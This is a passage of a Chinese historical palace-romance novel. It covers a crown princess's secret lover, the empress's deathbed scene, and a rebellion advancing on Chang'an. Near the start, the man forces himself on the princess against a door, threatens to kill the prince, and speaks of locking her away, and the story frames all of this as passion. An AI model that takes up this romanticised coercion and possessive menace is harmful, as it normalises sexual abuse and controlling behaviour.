和这个男人手指相触,宛如被臭虫爬上来一般,傅棠梨浑身的寒毛都竖了起来,她本能地想要甩开,但突然想起当日在紫宸殿上,他挺身护在她前面的情形,她犹豫了一下,手指头动了动,又硬生生地忍住了,轻声道:“你知道的,从前的事情我已经忘了,如今我并没有责怪你的意思,也谈不上什么原谅不原谅的,你别想太多了。” 赵元嘉的脸上重新生起期冀之色,他情不自禁捏住傅棠梨的手指,搓了搓,欢欢喜喜地道:“二娘,孤发誓,往后对你一心一意,绝无二念,再也不会辜负你,孤会敬你、爱你、护着你,和你好好过日子,做一对神仙眷侣,你说好不好?” 不好,很不好。傅棠梨这么想着,恨不得把自己的手指头剁掉,但是,她是太子妃,而眼前这个是太子,她的夫君,自从她回到东宫,他对她一直很好,寻不到半点差池,叫她无从发作。 “你看今儿这时辰,也不宜说这个。”她垂了眉眼,含含糊糊地道,“总之,你的心意我明白,往后、往后的日子长着呢,也不急于这一时。” 这可真不地道,她心里忧伤地想着,对赵元嘉生出了微妙的愧疚之情,声音也放得愈发柔和起来:“我确是乏了,你先回吧,让我歇着,待闲时,我们慢慢再说。” 她说“我们”,这个词说得黏糊糊的,让赵元嘉的心绪都变得柔软起来,他温和地笑着,应了一声:“好。” 宫人上前,将那件琥珀宫阙收了起来。 赵元嘉恋恋不舍,啰啰嗦嗦地叮嘱了许多,无非是叫傅棠梨按时饮食、天冷添衣,好好照顾身体,又向她再三保证,待他去恳求元延帝,必然还她一个清白,尽早接她回东宫,总之,一切有他在,大可放心。 傅棠梨听得不耐烦极了,面上不敢显露,虚虚地应着,推搡着,赶着赵元嘉出了门,反手把门阖上了,把额头抵在门扉上,长长地叹了一口气。 脚步声还在门外,宫人裙裾拂过地面、窸窸窣窣的动静还能听见,一股突如其来的力量从身后压了过来,把她牢牢地按在门上。 傅棠梨张开嘴,发不出一点声音。 那股力量过于强大,像是野兽被激怒了,无声、凶悍地覆盖在她的身上,掌控了她,胸口被挤压着,无法呼吸,眼冒金星。 赵上钧一手环住她的腰肢,一手扳过她的脸,紧紧地捏住她的下巴,俯下身,吻她。 湿漉漉的,如同春夜暴雨如注,他的味道充斥她的口鼻,撕咬,碾压,吞咽,反反复复,他的温度是滚烫的,雄性的气息如此强烈,占据一切,她的嘴唇和舌头都被咬疼了。 她抽搐般吸着气,发出一点“咿咿唔唔”的声音,就像被暴雨淋湿的雏鸟,微弱而无辜。 隔着门,无人可以闻及。 他从后面托起她,又重重地落下。 傅棠梨难耐得几乎发抖。 他太高了,就着那种姿势把她撑了起来,她站立不稳,只能用脚尖踮在地上,如同惊涛骇浪中的一叶扁舟,上下颠簸,卷起来,压下去,身不由己。 门外的脚步声渐远,直至消失。 烛火的影子不停地摇晃,这个世界颠倒旋转。 傅棠梨觉得自己马上要晕厥过去了。 赵上钧结束了那个吻,他粗鲁地推着她转过身。 傅棠梨几乎把舌头咬破,才没有发出尖叫。 两个人面对面。他低下头,捧着她的脸,抵住她的额头,他说话的气息喷在 她的鼻尖,乌木的香气,苦得发涩。 “我现在十分后悔,我当初就不该心慈手软放你走,我要把那些人统统都杀光了。”他的声音低沉,带着一种冰冷而残酷的意味,“我想把你藏起来,锁在没有人看得见的地方,梨花……梨花……”他喃喃地念她的名字,“我怎么能让你和别的男人在一起呢?这可太荒谬了。” 他的声音那么轻,但他的动作却那么重,连呼吸都沉似野兽,“呼哧呼哧”的。 傅棠梨身体发颤,手脚发软,说不出是心虚还是心慌,她微弱地抽着气,断断续续的:“有话好好说,你冷静些……” “我冷静不了。”逆着光,赵上钧的面容隐入模糊的阴影中,只有他的眼眸流淌幽光,漆黑如同夜色,在这四下无人之际,和她窃窃私语,“我原本以为我可以忍,可是不行、完全不行、我想杀了元嘉,对,杀了他!” “不!”傅棠梨怵然一惊,脱口而出,“……不能!” “我能。”他似乎微笑了起来,露出白森森的牙齿,就像择人欲噬的野兽,十分明确地告诉她,“只要我想,我就能。” 他这么说着,嘴唇移了下来,又想吻她。 傅棠梨狠狠一挣,挣开他的手,用力地把脸扭开。 那个吻落在她的耳朵上,他哼了一声,又重重地咬了她一下。 站得太久,腰肢发麻、腿脚打颤,傅棠梨在这个时候似乎格外娇弱,受不住了,她连说话的声音都无法连贯,尾调抖得厉害,这已经是她求饶的意味了,“玄衍,别……你不要再为难我了。” 赵上钧停住了,所有的动作都刹在那里,他拥抱着她,只是拥抱而已,深深的、慢慢地喘气。 案头的蜡烛烧到尽头,吐出一缕青烟,如同透明的飞蛾的翅膀,在空气中无力地扇动了几下,终于熄灭,窗牖尚未合拢,敞开一条缝,不足以让月光完全落进,只有一点轻薄的、白色的雾气,在此夜间弥漫,杳无声息。 太安静了,他喘息的声音、心跳的声音,以及,有什么东西,慢慢地流淌下来,那样的声音,在春天的、安静的夜晚重,显得那么剧烈而喧杂。 “跟我走吧,梨花。”他退了出来,呼吸依旧急促而紊乱,喷在她的肌肤上,烫得惊人,“兵祸已至,长安将乱,皇宫非你安身之处,元嘉只会嘴上说说罢了,若有变故,他根本照顾不了你,你跟我走,在我的身边,才是最安稳的。” 傅棠梨的脚尖绷紧,人却软了下来,虚弱地摇了摇头。 “梨花。”赵上钧叫了她一声,声线沙哑。 傅棠梨侧着脸,不敢去看他的眼睛,那里过于深邃,会将她淹没,以至于爬不出来。 “我不会跟你走,我哪儿都不去。”她竭力想要保持正常的语调,但无能为力,嗓子发软,这么说起来,好像更多的是缠绵的意味,“无论我们之间从前发生过什么,玄衍,忘掉它,不要再提。” 赵上钧依旧挺直,他勉强压抑着,咬住牙齿,透出危险的意味:“你在说什么?” 她的心肠一向很硬,对自己也能下得了狠手,就如同当下,她可以用镇定的语气告诉他:“哪怕我从前和你有私情,那、那大概也是因为你的身份罢了,你是淮王,位高权重,才配得上我,但如今……” 她吃力地喘了一口气,继续说道,“你不过是一介庶民罢了,我、我是太子妃。”说到这里的时候,她心里刺了一下,疼得皱眉,但是,有什么法子呢,形势如此,半点由不得人,他们两个人中间,总得有一个懂事识大体的,“我怎么会跟你走呢?你别闹了,快快离去,免得招来祸患。” 天子猜忌,淮王重伤,兵权被夺,贬为庶民,如此这般,他已经身处刀尖上,稍有不慎,就是万劫不复,她又怎么能雪上加霜,令他做飞蛾扑火之举呢? 两个人还贴在一起,还是这世间最近的距离,他心跳的震动从她的背部传来,一下又一下,急促而有力。 赵上钧轻轻地叹气,低低地,说了这么一句:“……口是心非的傻瓜,傻得要命。” 傅棠梨慢慢地回过身来,虚弱地靠在门上,在朦胧的黑暗中望着他,那一线月光落在他的鬓角,带着微凉的苍白,此时夜已经深了,不知名的虫子躲在窗下,啁嘈不休,吵得人心乱如麻。 她迟疑着抬起手,触摸他,他的眉毛、他的鼻子、还有他的嘴唇,那么鲜明的轮廓,刚毅而热烈。 他从鼻子里发出一点点声音,微微地闭上眼睛,凑过来,在她的手掌间蹭了又蹭,就如同巨大的野兽,收敛起利爪和牙齿,请求她的怜惜:“梨花……” 这简直叫她心疼,她想起在紫宸殿的种种,心疼得快要抽搐了,可是,这没办法,她还是把他的脸推开了。 “人生在世,有诸多要务,所谓男女情爱都是旁枝末节,不值一提,皇叔神武无双,是不世出的英杰,眼下虽然遭逢挫折,但来日必有一番丰功伟业,而我,庸俗女子罢了,你且放眼风物去,天高地阔,当知我不过草芥尔,你快走吧,不要再来找我了。” 有风起,摇动窗牖,发出一点细弱的声响,“吱吱呀呀”,这是一间破败的宫殿,沉沉的黑夜里,空气中仿佛掺杂着尘埃腐朽的味道,以及身体潮湿的气息,炙热而杂乱,叫人心慌、又叫人难过。 赵上钧的拇指在她的嘴唇上摩挲着,其实他大抵是温柔的,但那种粗糙而坚硬的碰触,却让她生出了疼痛的感觉。他一直望着她,目不转睛,但光影过于模糊,傅棠梨看不清他眼底的神色,好似铁马金戈的煞气,在这顷刻间,悉数隐入黑暗。 他似乎笑了一下:“好,言之有理,我知道了。” 他慢慢地俯下身,在那里亲了一下,温存地为她拭擦干净,揉了揉她的脚,又把她的衣裙穿好,拢上衣襟,最后的时候,他半跪在地上,捧着她的手,小心翼翼地吻她的指尖,低低地对她道:“梨花,你刚才说得非常对,我自然是要有一番丰功伟业要去做的,你再等等我,快了,真的,很快了。” 她听不太懂,知道他要走了,她心里难受得很,手指头动了动,想要拉住他,但她并没有这么做,方才的片刻温存已属贪念,她此时只能把手紧紧地蜷缩起来。 赵上钧起身,离开了。 傅棠梨颤抖着,吐出一口气,背靠着门扉,虚脱一般,一点一点地滑倒在地。 窗牖复被打开,春夜的风从外面吹进来,不很冷,却叫人浑身发凉,她抱住了膝盖,把脸埋进去,就那样,坐在那里,一个人发呆。 夜已深,四周静悄悄的,他滚烫的温度还留在身体里面,而他已经走了,唯留她心中一片茫然。 —————————— 驸马李怀恩无故离京,不知所踪,元延帝使人询临川公主,无所得,帝怒,命传旨于范阳,训斥李颜。 但是,这道旨意却到不了范阳。 范阳节度使李颜以平乱之名出兵怀州、齐州二地,然,乱既平,李颜仍不收兵,沿河东道,绕太行山,奇兵突袭,攻下冀州与相州,涿州刺史郑从经为之呼应,切断神武县至华阳县一带通道,使军情中断于此。 李郑两军挥师,继续挥戈南下,围华州。 华州刺史率兵力拒,遣人拼死突围,传讯于长安,已晚矣,未几,华州破,李颜兵马逼近关内。 盛世之下,竟生此兵祸,着实叫人措手不及。 元延帝急命郭元率虎贲军及左右武卫兵马三十万讨伐叛逆。 郭元俭奉命出征,于丹州与李颜大部相遇。 郭元俭少年成名,久经沙场,先后辅佐两代帝王,今虽老矣,威名不坠,终于挡住了叛军的咄咄攻势,双方激战于咸宁郡东部,如火如荼。 至四月,战报至,李颜不敌郭元俭,叛军呈颓势,连败数场,郭元俭收复丹州。 元延帝心稍定。 一波未平一波又起,未几,太医报,沈皇后垂危,恐时日无多矣。 元延帝忧心似焚,重又记起年少时扶持相守的夫妻情义,他再也顾不得前线军情,缀朝数日,守在沈皇后的病榻前。 …… 四月入夏,一夜之间,春凉消退如融冰,天气转眼热了起来,烈日如火,鸣蝉在树上叫得声嘶力竭。 但沈皇后的未央宫中却依旧阴冷,宫室幽深,元真宫的道士披着羽衣,持着法器,在殿外为皇后诵经祈福,焚起的灵虚香幻化成飘渺的云雾,四下弥散,帘纱低垂,阳光透不进,无论多么炙热的天气,也无法驱散这其中颓废的气息。 沈皇后终于从长久的昏迷中清醒了过来,她的眼睛没有半分神采,干枯宛如一潭死水,但她看过去显得格外平静,迟缓地 环顾四周,问道:“元嘉呢,他在吗?” 元延帝移步上前,俯下身,轻声道:“贞娘,朕在这里,你要见元嘉吗?朕马上命他过来。” 他叫她“贞娘”,那是她的闺中小名,初嫁时,他总是这样温柔地叫她。 沈皇后的目光木然扫过元延帝,没有任何停留,也没有任何情绪,她只是用呕哑的声音对左右宫人道:“去,把元嘉……还有二娘,一起叫过来,我有话要交代。” 这大约是要嘱咐后事的意思,宫人垂泪不已。 突然,未央宫外传来了异样的声音,好像是有人在外头大声嚷嚷,而后又有人在劝阻,双方争执不下。 元延帝大怒:“皇后病重,何人敢在此喧哗?” 宋太监马上出去察看,片刻后进来,面色凝重:“陛下,尚书令傅方绪及兵部尚书严真甫进宫,求见陛下,有要事奏请陛下裁定。” 元延帝愈怒,几乎拍案,但顾及沈皇后卧病在床,只能压低声音,恨恨道:“那些文武大臣都是尸位素餐吗?若事事都要朕裁定,朕要他们何用!皇后这般情形,他们竟不能体恤朕,何其可恨!传朕旨意,今日外臣皆不得进宫,若有违,统统杖毙!” 宋太监欲言又止,出去传达元延帝的旨意,很快,外面安静了下来。 宫人奉元延帝之命,去传召太子及太子妃,未多时,太子与妃至,在沈皇后床前跪下:“母后。” 沈皇后强撑着,命宫人扶她坐起,虚弱地靠在床头,吃力地叫道:“元嘉。” 太子踉跄着跪行两步,扑到沈皇后身前,向她伸出手去,声音哽咽,几乎不能言语:“母后、母后……” 看见儿子,沈皇后如同枯灰一般的脸上浮出了一点慈爱的笑意,她摸索着,巍巍颤颤地握住了赵元嘉的手,眼睛重又抬起,望向傅棠梨:“二娘。” 这些日子,傅棠梨一直被羁留在长阳宫,只因今日沈皇后传唤,元延帝这才命人将她放了出来,虽然她尚未恢复记忆,对沈皇后并无印象,但眼下这般光景,她的心中不免也生出悲凉之情,面上露出戚容,恭敬而温柔地安慰沈皇后:“是,儿在,请母后放心,太子体健安康,儿与太子和睦如常,东宫一切太平。” 这个太子妃不愧是她精心挑选出来的,果然熨帖,不用她开口,就能读懂她的心思,沈皇后含笑,点了点头:“好,那就好。” 她拍了拍赵元嘉的手,喘息着,艰难地道:“母后不成了,往后不能再看着你了,元嘉,你要懂事些,别叫母后在下面为你牵肠挂肚。” 赵元嘉再也忍不住,放声恸哭:“母后、母后,不要这么说,您会好起来的,元嘉以后还要好好孝敬您呢。” “傻孩子。”沈皇后痛苦地咳了起来,胸腔“喀喀”作响,如同干枯的朽木折断时发出的声音,瘆人得很。 太医们赶紧围过来。 “不必了。”沈皇后摆了摆手,阻止太医,她咳着,含糊地唤了一声:“二娘。” 傅棠梨立即跪行上前,俯首躬身。沈皇后颤抖着朝她伸出手来,傅棠梨急忙接住了。 沈皇后的手是枯瘦的,在这炙热的夏日,宛如死人一般冰凉。 她好不容易停住了咳嗽,说话的声音已经很轻了,几乎听不太清楚:“二娘,我如今将去,此世间唯有太子令我牵挂,我自认一向对你不薄,如今,我就把太子交付给你了,你千万不能辜负我,你是个聪明人,遇事多为他着想,他好,你才能好,明白吗?” 此情此景,傅棠梨还能说什么呢,她红着眼眶,点头应允:“是。” 赵元嘉哭得浑身颤抖。 沈皇后用尽最后一点力气,把赵元嘉和傅棠梨的手交叠放在一起,她气息微弱,依依不舍地对赵元嘉叮嘱道:“你性子憨厚,优柔寡断,遇事不决,为储君,此乃大忌,故而母后千挑万选,为你聘了傅家二娘为太子妃,二娘心思缜密,聪慧且有胆识,比你可强太多了,以后你多听她的,别和她拗着。” 她面上浮现出异样的潮红,挣脱了宫人的搀扶,身体前倾,似乎想要抓住什么,声音嘶哑而急促:“你们两个,一定要好好的,元嘉、元嘉,你记住,只有你的原配妻子会一心一意对你好,其他的女人,都是要在你身上讨得好处,没的真心,你别被骗了,别像你父皇那般,变成一个薄情寡义的人,你知道吗?” 赵元嘉已经悲伤得说不出话来,只能拼命点头。 元延帝听得心酸不已,他站在沈皇后的榻前,流着泪,嘶声道:“贞娘,是朕错了,朕对不住你,如今林氏已经死了,你不要再生气,你快点好起来,我们依旧和从前一样。” 沈皇后呆滞了一下,她茫然地看了看左右:“林氏、那贱人,她死了吗?” 傅棠梨知道沈皇后想听什么,立时应道:“是,紫宸殿上,林贵妃触怒淮王,为淮王所斩,当场人头落地,死透了。” “好!好!好!”沈皇后听罢,倏然大笑了起来,连说了三个“好”字,身子向后一倒,溘然长逝,面上犹带笑容。 “母后!”赵元嘉以首触地,发出凄厉的哭喊声。 傅棠梨情不自禁地落下泪来,她叹了一口气,低声劝慰:“太子……节哀。” 元延帝有些不太相信沈皇后就这样去了,他怔怔地站在那里,良久,缓缓地抬起袖子,掩住了脸,泣不成声:“贞娘、贞娘,你到死都不能原谅朕吗?” 宋太监佝偻着腰,走到殿外,颤声传讯:“皇后娘娘……崩。” 宫人皆下跪,脱冠散发,以示哀悼,未央宫中哭声震天。 就在此时,宫门外传来一个苍老的声音:“皇后崩,臣五内俱伤,泣不可仰,然,圣上乃一国之君,身系江山万统,不可因私伤而忘天下,眼下形势危急,臣斗胆,恳请圣上允臣觐见。” 随着这声音,安王从宫门外走了过来。 第64章 第64章渔阳鼙鼓动地来 安王年纪已经很大了,平日里素来养尊处优,走起路来向来是缓步当车,但是此际,他迈着大步,气喘吁吁,几乎要跑了起来,他的身后跟着尚书令傅方绪、兵部尚书严真甫、临洮郡公李光达、以及一员武将,那武将浑身是血,连路都走不稳,由两个金吾卫士兵搀扶着他,一路拖着过来。 这显然是傅方绪和严真甫去搬救兵过来了。 宋太监心知不妙,必有大事,他暗暗“咯噔”了一下,迎了上去,面露难色:“圣上有命,今日外臣皆不得进宫,若有违者……” “那也无妨。”安王喘着粗气,接口道,“待老臣等禀完要事,请圣上杖毙老臣即可。” 临洮郡公李光达大步上前,拿出一块玄铁方牌,在宋太监面前晃了一下,沉声道:“此先帝御赐铁券,除谋逆外,可免除一切罪责,今日我以此物,保诸位大人性命,请禀告圣上,吾等有要事求见,虽死罪亦不能挡。” 李光达是先章武帝的重臣,年事已高,只在府中养老,久不涉朝政,不知朝中究竟出了什么意外,把他也惊动了。 宋太监不敢再耽搁,飞快去报元延帝。 元延 帝听闻这番情形,心下一沉,勉强从悲痛中清醒过来,吩咐道:“叫他们进来。” 宋太监传了话,几个大臣急急进来,看见元延帝,纳头便拜:“陛下、陛下,大事不好了啊!” 安王老泪纵横,连连顿首:“郭元俭兵败,王永敬谋反,逆贼已经逼近长安了!陛下!” 这短短几句话,如同晴天霹雳一般,震得元延帝耳朵嗡嗡作响,沈皇后之死已令他神思恍惚,此时骤然闻此噩耗,更觉天旋地转,一时站立不稳,身体摇晃了一下,差点跌倒。 左右急忙将他扶住。 几个大臣各个面露担忧之色:“陛下!” 只有李光达皱了一下眉头,无动于衷,他指着对那个浑身淌血的武将,对元延帝道:“启禀陛下,此乃郭亥,郭元俭之子。”他转过来,对郭亥道:“你速速把丹州的经过向圣上说一遍,不得有所遗漏。” “是。”郭亥磕了一个头,双目尽赤,咬牙道:“李颜诈败,在丹州城外设下埋伏,父亲识破奸计,固守丹州不出,谁料洛州刺史王永敬假借援军之名,骗开丹州城门,趁父亲不备,杀了父亲,把父亲的头颅挂上丹州城楼。”他说到悲愤处,忍不住失声痛哭,“我拼死杀敌,想夺回父亲的尸首,终未果。李颜趁乱发难,我军败退,丹州失守,洛州失守,陛下,长安危矣!” 大周开国皇帝以兵马夺天下,皇族历代皆有无双悍将,威慑四海,传至元延帝手上,江山稳固,可谓太平盛世,何尝料想会有今日这般兵临都城的局面。 当此情形,元延帝下意识脱口而出:“速叫淮王来。” 周遭出现了一片尴尬的沉默。傅方绪和严真甫对视一眼,选择了闭嘴。 半晌,安王咳了两声:“陛下,五郎已除爵位,卸兵权,专一修道去了。” 元延帝猛然醒起,是的,赵上钧已经被他赶走了,他心中又酸又涩,浑然不知是什么滋味,眼下环顾左右,顿时生出茫然之意:“那依众卿之见,朝中大将,还有何人可退敌?” 这时候,还是李光达开口了,他当着元延帝的面,依旧问郭亥:“郭元俭虽死,军中亦有将领在,犹不至全散,眼下我方兵马余几何?在何处?” 郭亥回道:“幸而右武卫大将军薛忠涛在,率军且战且退,眼下退至蒲津关,严防叛军。”他喘了一口粗气,沉重地道,“蒲津关距长安不到二百里,若再退,则叛军将兵临长安城下。” “如此甚好!”元延帝精神一振,又站了起来,走了两步,道,“命薛忠涛暂辖虎贲军,死守蒲津关,不得后退半步,长安尚有十万南衙禁军,严真甫,你举荐人来,率这十万禁军前去增援,务必将反贼拒于长安之外。” 李光达目中露出嘲讽的笑意。 兵部尚书严真甫满头都是汗:“依臣愚见,一则,薛忠涛虽勇猛,但非统军之才,郭元俭尚不能敌,何况薛忠涛乎?二则,禁军若去,长安空虚,若有敌自南来,长安不攻自破,此不可为,望陛下三思。” 元延帝眉头紧锁,沉吟片刻,将期望的目光投向李光达:“临洮郡公早年亦曾协助先帝统领玄甲军,如今应是宝刀不老,可为朕再战否?” 李光达面色淡淡的:“陛下恕罪,臣自知老迈,不若郭元俭逞强好胜,恐有负圣恩,不堪担此重任。” 他言语之间不太尊敬,俨然有轻蔑之意,但他是先章武帝的心腹,早些年,元延帝还曾经敬畏于他,在此局势危急时,元延帝也不好和他计较,只得再次将目光转向安王等人:“既如此,众卿有何良策?” 傅方绪躬身道:“兹事体大,臣等不敢妄断,此刻文武百官皆在宣政殿等候,还请陛下移驾,主持大局。” 元延帝马上将沈皇后之死抛诸脑后,命摆驾宣政殿,众大臣紧随其后。 傅棠梨在一旁听了许久,暗暗心惊,此时见状,回头看了赵元嘉一眼,见他犹自跪在沈皇后的床边垂泪,赶紧拉他起来,低声道:“太子还不快跟上。” 赵元嘉抬起头来,满脸泪痕,茫然地“啊”了一声。 傅棠梨心里叹气,推了他一把,催促道:“叛军逼近长安,父皇要去和大臣们商议应对之策,事关重大,如此家国危难关头,你身为储君,怎能置身事外?还不快去!” 赵元嘉骤逢丧母之痛,正是软弱之时,又记得沈皇后临终前的嘱托“以后你多听她的”,慌忙点头,抬脚跟上,才走两步,又回头:“那母后这边……” 傅棠梨果断截住他的话:“母后的一应后事,我会安排妥当,太子不用担忧,你把眼泪擦擦,自去办正事要紧。” 她上前几步,借着给赵元嘉递帕子的动作,压低声音,又迅速地补了两句,“我观那临洮郡公气度非凡,父皇既言他曾协助先帝统领玄甲军,此人胸中必有丘壑,太子记住,若你没有决断,就跟着临洮郡公的意思,大体不会出错。” 赵元嘉正当六神无主之时,太子妃说什么都是对的,他再次点头,魂不守舍地跟出去了。 此时刚过晌午,日头正盛,光耀大地,傅棠梨抬头看了看窗外,觉得十分刺眼。 沈皇后既去,留下身后百般事宜,都需逐一操办。 元延帝是个凉薄之人,对身边的女人,不论林贵妃也好,沈皇后也好,都不见得有多少真情实意,指望不上,赵元嘉不用说了,他就不是一个能办事的主,傅棠梨思忖着,除了她,也没人能管沈皇后的事了。 如今正值夏日,尸身易腐,又逢兵祸临城,未知明日如何,一应事务都耽搁不得。 傅棠梨遂做主,先是遣人去告冯太后,又命尚宫女官入,为沈皇后殓身更衣,置冰棺,停灵于未央宫正殿,元真宫道士本在殿外祈福,此时召唤入内,竖起莲花幡,焚起降真香,为沈皇后诵太上救苦经。尚宫女官协令,吩咐宫人撤彩器,悬白幔,传令六宫,上下妃嫔及内命妇等,脱钗环,卸脂粉,素服以待。 少顷,冯太后宫中来人,泣曰,太后闻讯,悲伤至极,几至晕厥,不能亲来,一应事宜,由太子妃处置即可。 片刻后,宫中妃嫔及诸王、诸公主闻讯,纷纷前来,拜于沈皇后灵前,皆大哭,涕泪交加,哀声震天,至于这其中有几分真几分假,此刻也无从分辨了。 这边还要叫人去问殿中省、太常寺、宗正寺各处的官员,皇后梓宫、陵墓、随葬器物等等,眼下可有头绪?偏偏这几处的的太卿及尚书等人,此刻都在宣政殿中议政,余下主事的副手又不敢做主,一个个哭哭啼啼地来回太子妃,只有磕头而已,叫傅棠梨头疼得很。 如此焦头烂额地忙到了夜里,傅棠梨不过喝了几口水,觉得胸口突突地跳,难受得很。 白烛照亮灵堂,恍如雪洞一般,焚香的烟雾覆盖此间,似山峦叠雾,道士们心无旁骛地诵念经文,从白昼到黑夜,不停不休,模糊而虔诚,似已脱离这尘俗凡世,令人恍惚。 妃嫔和公主们还跪在那里,哭得此起彼伏,几个皇子眼睛红红的,凑在一起,小声地议论着,隐约间,听到的不是沈皇后之事,而是诸如“洛州叛变”、“李颜逆贼”、“玄甲军何至败退”、“朝廷有何退敌之策”等语,显然心思已经不在这里了。 到这个时候,赵元嘉还未回来,宣政殿那边没有一点消息,叫人愈发忐忑起来。 傅棠梨想起那日赵上钧对她所说的“兵祸已至,长安将乱”等语,颇有些心神不宁,她思忖了半天,带上方司则和几个小宫娥,出了未央宫,想去前殿探探消息,也好做个未雨绸缪之计。 禁庭幽深,宫道长而曲折,无数廊腰慢回,又兼檐牙高啄,玉楼高台的影子落在走道上,就像一笔笔抹出的浓墨,无声地湮开。 宫人悲泣之声随处可闻,哀哀戚戚,若有若无,除未央宫外,禁庭灯烛不敢大亮,以示哀悼,女史挑着羊角宫灯,烛火时明时灭,照得前路飘摇不定。往昔辉煌的宫城,今日竟隐约有萧条之意。 过了紫光阁,穿过游廊,宫道前面走来一个年长的女官,她容止端方,神情严肃,身后跟着一干宫人,方司则和小宫娥们见了那女官,躬身示意,很是尊重:“高姑姑。” 傅棠梨的脚步稍微顿了一下。 方司则凑过来,小声解释道:“这位是高宫正,内廷女官之首。” 这厢高宫正径直迎上来,给太子妃见礼:“太子妃何往,可是要去宣政殿找太子?” “是。”傅棠梨颔首。 高宫正神态自若,接过了宫人手里的灯,亲自为傅棠梨照路:“如此,请让我为太子妃引路吧。” 她抬手向后面做了一个止步的 手势:“内廷宫人,不可近中朝,尔等且退。” 高宫正执掌皇宫戒令纠禁之责,她既这么说了,方司则喏喏,带着宫人们退到了后面。 高宫正举步前行:“太子妃,请。” 傅棠梨目光微动,跟了上去。 行不多时,见方司则等人已远,高宫正果然发话了,她步伐沉稳,目视前方,口中轻声说道:“叛军逼近,长安可能成为鏖战之城,皇宫恐生内乱,太子妃千金之体,不可轻易涉险,还是暂避为宜,您请随我来,朱雀门外,自有人接应您出宫。” 傅棠梨的双手笼在袖中,她的腰身挺得笔直,没有一丝波动,轻声问道:“是淮王叫你来的吗?” “是。”高宫正并无避讳,“淮王担忧太子妃的安危,本欲亲自来接您,但眼下宫中戒备森严,他不便进出,故遣我来领路。” 傅棠梨沉默了下去,站在那里,紧紧地咬住自己的嘴唇,久久不能动弹。 高宫正目中隐含焦色:“太子妃,事不宜迟,你……” 然而,就在这时,却听得一声呼唤传了过来。 “二娘。” 傅棠梨抬眼望去。 一群内侍执着灯引路,赵元嘉正从不远处匆匆走来,他看见了傅棠梨,露出了欢喜的神色,加紧脚步,赶到面前,朝她伸出手去:“二娘,你是来接孤的吗?” “嗯,有些担心,过来看看。”傅棠梨一拂袖,避开了赵元嘉的手,她收敛起心神,淡淡地瞥了他一眼,口中问道,“朝中的大人可商议出了退兵之策?” 提到这个,赵元嘉下意识地皱了皱眉头:“你祖父和郑太傅举荐左武卫大将军许康建,调遣禁军五万重骑兵,赶去蒲津关接应薛忠涛,抵挡叛军,同时传旨潞州刺史孙澄、徐州都督王义凤率兵前来勤王,从敌后辅佐进攻,以解长安之围。” 傅棠梨沉吟片刻,踱了一步,慢慢地道:“这情形听着蹊跷,我恍惚觉得有几分不妥,蒲津关乃津渡口,虎贲军循玄甲旧制,以骑兵为主,骑兵擅攻击、擅平原冲锋,于津渡口恐怕难有用武之地,反倒是叛军中有涿州刺史郑从经,涿州,水泽之乡也,涿州军马应擅水战,以吾之短御敌之长,大不合宜。” 赵元嘉睁大了眼睛,以拳击掌:“这可巧了,临洮郡公也说了和你差不多的话。” 傅棠梨挑了挑眉毛:“我早前还嘱咐你,跟着临洮郡公的意思说,怎么,父皇没有考虑你们的谏言吗?” 赵元嘉目光躲闪,有些心虚:“临洮郡公向父皇献策,放弃蒲津关,退到长安城外,以平乐原为战场,起用庄敬为统帅,重振玄甲军旧部,正面与李颜对决,但父皇及几位老臣都以为此举过于激进,若有闪失,长安破,万事皆空,断不可为之。” 庄敬乃淮王旧属,玄甲军自先章武帝手中传予淮王,唯淮王马首是瞻,一直是元延帝的心腹大患,元延帝早前费了好大一番力气,才将它打压下去,如今又岂能容它东山再起? 这个缘由,大臣们心知肚明,或许只有临洮郡公久不上朝,对此毫不知情,才会在宣政殿上发此谬论,元延帝当时的脸色就不太好看,赵元嘉哪里敢去附和临洮郡公,此时听傅棠梨问起,并不敢应承,反而出言反驳。 “李颜悍勇冠绝,素有不败之名,他从范阳起兵,一路势如破竹,如今气势正盛,何人能与他正面抗衡?难道我们要将大周数百年基业,尽数押在庄敬一人身上吗?临洮郡公所言,孤亦不能苟同。” 何人能与李颜正面抗衡?若淮王尚在,安有今日困境?可惜满朝文武,无一人敢提。 傅棠梨想通其中的关节,不由哑然,唯有喟叹而已。 赵元嘉见她面色不愉,赶紧安慰道:“二娘不必担忧,许康建与薛忠涛皆良将,一人善谋、一人善战,定能将叛军阻于蒲津关,待潞州与徐州勤王之师至,长安危机可解矣,你只管安心待在宫中就好,万事有孤在,断不会叫你受丝毫惊扰。” 他这番言辞实在显得苍白无力,眼下这形势,兵祸已至,长安将乱,此战势必难以善了。 所以,当日赵上钧才会对她出那样的话:“你跟我走,在我的身边,才是最安稳的。” 傅棠梨忽然记起这个,顿觉心慌意乱,忍不住转头看了一眼。 长廊幽深,空空荡荡,高宫正早已离去。 …… 朱雀门外。 寂静夜色里,恢宏的宫城如同一只巨兽,盘起身躯,沉睡过去,它带着模糊的、浓郁的影子,遮蔽天光,令月色无法穿透此间。 重重金吾卫持着长戟,将宫门守卫得密不透风,他们肃穆宛如铜像,长戟的锋刃在夜色里泛起青色的寒光。 不远处,一个男人站在东侧阙楼的廊庑下,他披着一件黑色的大氅,宽大的风帽垂下来,遮住了他的面目,只露轮廓分明的下颌线,如同刀刻一般刚毅,他已经站了很久,高大的身形与黑暗几乎融为一体。 长夜不尽。 少顷,有武将从宫中出,走到阙楼的阴影下,垂首躬身,轻声而恭敬地向赵上钧说了一些话。 赵上钧听罢,并没有什么情绪,只是淡淡地问了一句:“怎么,安王和李公都无法说服圣上吗?” 那武将回道:“圣上素来谨慎,不能如主公所想。”他扼腕叹息,“蒲津关地势实在不利,只怕许康建难以全身而退,若此战再败,长安势必不能保全,主公,我们为何要坐以待毙,不若尽早……” “我不能。”赵上钧截断了属下的话,他的语气十分平静,甚至带了一点温和的意味,“苍天在上,鬼神共鉴,我发过誓,永不与大兄为敌、永不与他兵刃相见,我不能背誓。” “不说这个。”他拂了拂衣袖,接下去,又好似漫不经心一般,问了一句:“对了,太子妃呢,她如何?” 武将不明所以,一板一眼地回道:“因皇后临终有所托付,圣上格外开恩,不再追究太子妃之罪,眼下,太子妃陪太子还在未央宫守灵。” “这样啊。”赵上钧意味不明地低声说了这么一句,长长地吐出一口气,他抬头看了看天色。 天气是炎热的,但月色清冷如故,半弦月如勾,挂在宫城的檐角上,檐角重重,摸约有十八重,太深了,什么都看不透。 “我忍得实在是太久了。”他突兀地笑了一下,问那武将,“你说,是不是?” 夏夜的长风骤然大了起来,从天街尽头卷过来,带动大氅猎猎作响,风帽掀起,露出他的眉眼一瞬间,他的眼眸是漆黑的,冰冷而残酷,宛如刀锋淬血。 